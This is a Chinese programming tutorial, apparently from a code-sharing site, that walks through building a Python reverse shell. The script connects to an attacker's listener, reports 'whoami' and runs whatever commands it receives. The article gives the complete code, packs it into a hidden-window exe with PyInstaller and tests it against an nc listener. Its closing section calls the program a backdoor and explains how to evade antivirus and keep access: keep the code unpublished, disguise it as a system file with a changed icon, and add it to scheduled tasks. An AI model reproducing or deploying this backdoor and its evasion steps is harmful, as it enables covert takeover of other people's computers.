使用Python制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端
遠(yuǎn)控終端的本質(zhì)
1、服務(wù)端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息
2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來(lái)的命令)
3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務(wù)端顯示命令執(zhí)行結(jié)果
python制作簡(jiǎn)易的遠(yuǎn)控
1、環(huán)境
環(huán)境:PyCharm 2021.1.1 x64 + python3.8
2、新建項(xiàng)目
打開pycharm,直接新建一個(gè)純python項(xiàng)目。
將main.py文件中原有的代碼全部清空。
3、編寫程序
(1)導(dǎo)入需要使用的包
# 導(dǎo)入所需要的包 import os from socket import *
(2)創(chuàng)建main并配置socket套接字信息
#導(dǎo)入所需要的包 ...... if __name__ == '__main__': # 1、服務(wù)端IP地址 IP = "192.168.6.142" # 2、服務(wù)端監(jiān)聽的端口PORT PORT = 9999 # 3、socket套接字 socket_info = (IP, PORT)
(3)創(chuàng)建連接方法
#導(dǎo)入所需要的包 ...... def remote_control(info): # 初始化socket連接 skt = socket(AF_INET, SOCK_STREAM) skt.connect(info) # 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作 host = os.popen("whoami").read().strip() # 將客戶端角色在每次輸入命令的都顯示,美化格式 tips = f"$({host}) " skt.send(tips.encode()) if __name__ == '__main__': ...... # 4、連接 remote_control(socket_info)
(4)接收服務(wù)端傳入的數(shù)據(jù)(即命令)
# 導(dǎo)入所需要的包 ...... def remote_control(info): # 初始化socket連接 ...... skt.send(tips.encode()) # 建立持續(xù)連接 while True: # 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個(gè)bit為一個(gè)單位 data = skt.recv(1024) # 將接收的數(shù)據(jù)進(jìn)行utf-8解碼,并將左右空格去除 command = data.decode('utf-8').strip() # 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序 if command == 'exit': skt.send("exit\n".encode()) exit(0) if __name__ == '__main__': ......
(5)執(zhí)行服務(wù)端傳入的命令并將結(jié)果返回給服務(wù)端
# 導(dǎo)入所需要的包 ...... def remote_control(info): # 初始化socket連接 ...... skt.send(tips.encode()) # 建立持續(xù)連接 while True: # 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個(gè)bit為一個(gè)單位 ...... if command == 'exit': ...... # 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來(lái)的命令,并將執(zhí)行結(jié)果存放在result中 result = os.popen(command).read() # 將命令執(zhí)行的結(jié)果返回給服務(wù)端 skt.send((result + tips).encode()) # 關(guān)閉socket連接 skt.close() if __name__ == '__main__': ......
代碼編寫完成!
(6)測(cè)試遠(yuǎn)控終端的可用性
打開一臺(tái)kali虛擬機(jī)(IP為192.168.6.142)作為服務(wù)端,使用nc監(jiān)聽9999端口。
連接成功,遠(yuǎn)控終端制作完成!
4、將python文件打包成exe文件
(1)pip工具安裝Pyinstaller模塊
Win+R打開運(yùn)行 --> 輸入cmd打開命令窗口
pip install Pyinstaller
(2)切換命令行的路徑到需要打包的Python源文件的文件夾路徑下
cd 文件路徑
(3)打包python文件為exe文件
Pyinstaller -F -w 文件名.py
打包成功!
打包完成后,在要打包文件的同級(jí)目錄下會(huì)新增一個(gè)dist文件夾,exe文件就在dist文件夾中。
(4)測(cè)試exe文件的可用性
kali服務(wù)端監(jiān)聽端口。
點(diǎn)擊運(yùn)行生成的exe文件。
連接成功!python制作遠(yuǎn)程控制終端完成!
制作遠(yuǎn)控終端的意義
本篇文章我們研究了python如何制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端,上篇我的文章研究了Java如何制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端。其實(shí),我們制作的這個(gè)遠(yuǎn)控終端就是一個(gè)后門程序。那么大家就想了,我們的CS跟MSF都可以生成后門程序,為什么我們還要自己制作呢?
這是因?yàn)椋覀儾粌H可以通過自己制作了解遠(yuǎn)控程序的原理。而且,由于CS跟MSF生成的后門程序特征比較明顯,很多殺毒軟件都會(huì)殺掉,即使沒有殺掉,兩三天以后也可能被殺軟殺掉,不能做到一個(gè)持續(xù)化的權(quán)限獲取,也就是權(quán)限維持。而我們自己制作后門程序,是我們自己寫的,并沒有被公開,殺軟就匹配不到我們的特征值,這樣殺軟就不會(huì)殺掉我們的后門程序。如果我們?cè)賹⑽覀兊暮箝T名稱改為系統(tǒng)文件的名稱,再改變圖標(biāo),把后門程序添加到計(jì)劃任務(wù)中,這樣我們就可以做到一個(gè)很好的一個(gè)權(quán)限維持。
附完整代碼
# 導(dǎo)入所需要的包 import os from socket import * def remote_control(info): # 初始化socket連接 skt = socket(AF_INET, SOCK_STREAM) skt.connect(info) # 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作 host = os.popen("whoami").read().strip() # 將客戶端角色在每次輸入命令的都顯示,美化格式 tips = f"$({host}) " skt.send(tips.encode()) # 建立持續(xù)連接 while True: # 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個(gè)bit為一個(gè)單位 data = skt.recv(1024) # 將接收的數(shù)據(jù)進(jìn)行utf-8解碼,并將左右空格去除 command = data.decode('utf-8').strip() # 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序 if command == 'exit': skt.send("exit\n".encode()) exit(0) # 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來(lái)的命令,并將執(zhí)行結(jié)果存放在result中 result = os.popen(command).read() # 將命令執(zhí)行的結(jié)果返回給服務(wù)端 skt.send((result + tips).encode()) # 關(guān)閉socket連接 skt.close() if __name__ == '__main__': # 1、服務(wù)端IP地址 IP = "192.168.6.142" # 2、服務(wù)端監(jiān)聽的端口PORT PORT = 9999 # 3、socket套接字 socket_info = (IP, PORT) # 4、連接 remote_control(socket_info)
以上就是使用Python制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端的詳細(xì)內(nèi)容,更多關(guān)于Python遠(yuǎn)控終端的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
Python 實(shí)現(xiàn)某個(gè)功能每隔一段時(shí)間被執(zhí)行一次的功能方法
今天小編就為大家分享一篇Python 實(shí)現(xiàn)某個(gè)功能每隔一段時(shí)間被執(zhí)行一次的功能方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來(lái)看看吧2018-10-10win10環(huán)境下python3.5安裝步驟圖文教程
本文通過圖文并茂的形式給大家介紹了win10環(huán)境下python3.5安裝步驟,需要的朋友可以參考下2017-02-02Python應(yīng)用利器之緩存機(jī)制的妙用詳解
在 Python 應(yīng)用程序中,使用緩存能夠顯著提高性能并降低資源消耗,本文將詳細(xì)介紹如何在 Python 中實(shí)現(xiàn)緩存機(jī)制,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下2023-12-12python+selenium對(duì)table表和分頁(yè)處理
這篇文章主要介紹了python+selenium對(duì)table表和分頁(yè)處理,文章內(nèi)容只要包括bulabula2022、table表分頁(yè)處理、網(wǎng)頁(yè)table所有內(nèi)容循環(huán)處理等相關(guān)內(nèi)容,需要的小伙伴可以參考一下2022-01-01Python模塊學(xué)習(xí) filecmp 文件比較
filecmp模塊用于比較文件及文件夾的內(nèi)容,它是一個(gè)輕量級(jí)的工具,使用非常簡(jiǎn)單。python標(biāo)準(zhǔn)庫(kù)還提供了difflib模塊用于比較文件的內(nèi)容。關(guān)于difflib模塊,且聽下回分解2012-08-08pycharm配置anaconda環(huán)境時(shí)找不到python.exe解決辦法
今天來(lái)說(shuō)一下python中一個(gè)管理包很好用的工具anaconda,可以輕松實(shí)現(xiàn)python中各種包的管理,這篇文章主要給大家介紹了關(guān)于pycharm配置anaconda環(huán)境時(shí)找不到python.exe的解決辦法,需要的朋友可以參考下2023-10-10